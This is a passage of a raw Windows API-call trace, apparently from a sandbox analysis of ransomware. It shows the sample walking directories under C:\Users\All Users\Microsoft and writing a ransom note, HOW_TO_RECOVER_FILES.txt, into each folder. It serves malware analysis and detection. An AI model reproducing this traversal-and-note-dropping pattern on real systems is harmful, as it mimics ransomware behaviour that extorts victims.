ftLastAccessTime.dwLowDateTime=0xc5ed1465, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pending.GRL.gоod", cAlternateFileName="")) returned 0 [0140.926] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.926] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x38 [0140.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.927] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\MF\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\mf\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.927] GetFileType (hFile=0x618) returned 0x1 [0140.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.927] GetFileType (hFile=0x618) returned 0x1 [0140.928] WriteFile (in: hFile=0x618, lpBuffer=0x39681b8*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x39681b8*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.928] CloseHandle (hObject=0x618) returned 1 [0140.928] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.929] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0140.929] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80e29d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0140.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.929] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.929] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.929] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.930] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.930] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.930] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework", lpFilePart=0x0) returned 0x29 [0140.930] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BreadcrumbStore", cAlternateFileName="BREADC~1")) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.930] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2079a0, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3b2079a0, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b2079a0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.931] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.931] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.931] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.931] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0140.931] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.931] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80f277, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.931] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd08fd, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ae27dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.932] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.932] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.932] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.932] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore", lpFilePart=0x0) returned 0x39 [0140.932] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.932] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3acd08fd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.932] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd08fd, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ae27dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.932] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3acd08fd, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3acd08fd, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3ae27dfa, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.932] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.932] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0140.933] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0140.933] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fa1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x52 [0140.933] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa710) returned 1 [0140.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\BreadcrumbStore\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\netframework\\breadcrumbstore\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.934] GetFileType (hFile=0x618) returned 0x1 [0140.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa680) returned 1 [0140.934] GetFileType (hFile=0x618) returned 0x1 [0140.934] WriteFile (in: hFile=0x618, lpBuffer=0x3987a40*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fa7d8, lpOverlapped=0x0 | out: lpBuffer=0x3987a40*, lpNumberOfBytesWritten=0x10fa7d8*=0x5d0, lpOverlapped=0x0) returned 1 [0140.935] CloseHandle (hObject=0x618) returned 1 [0140.935] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x10fac20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x42 [0140.935] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb140) returned 1 [0140.935] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\NetFramework\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\users\\all users\\microsoft\\netframework\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x618 [0140.936] GetFileType (hFile=0x618) returned 0x1 [0140.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0b0) returned 1 [0140.936] GetFileType (hFile=0x618) returned 0x1 [0140.936] WriteFile (in: hFile=0x618, lpBuffer=0x398b298*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x398b298*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0140.937] CloseHandle (hObject=0x618) returned 1 [0140.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.937] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0140.937] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.937] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd80ffe4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.937] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0140.937] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b870015, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b870015, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0140.937] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd80ece, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bd80ece, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.937] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.937] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0140.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network", lpFilePart=0x0) returned 0x24 [0140.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bd80ece, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.938] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3bd80ece, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.938] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xcf245536, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 1 [0140.938] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3b870015, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3b870015, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloader", cAlternateFileName="DOWNLO~1")) returned 1 [0140.938] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd80ece, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bd80ece, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0140.938] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd80ece, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3bd80ece, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3bd80ece, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 0 [0140.938] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0140.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0140.938] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0140.938] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0140.938] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Network\\Connections", lpFilePart=0x0) returned 0x30 [0140.938] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Network\\Connections\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17cbb4ff, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xcf245536, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3b27a0a2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0140.939] FindNextFileW 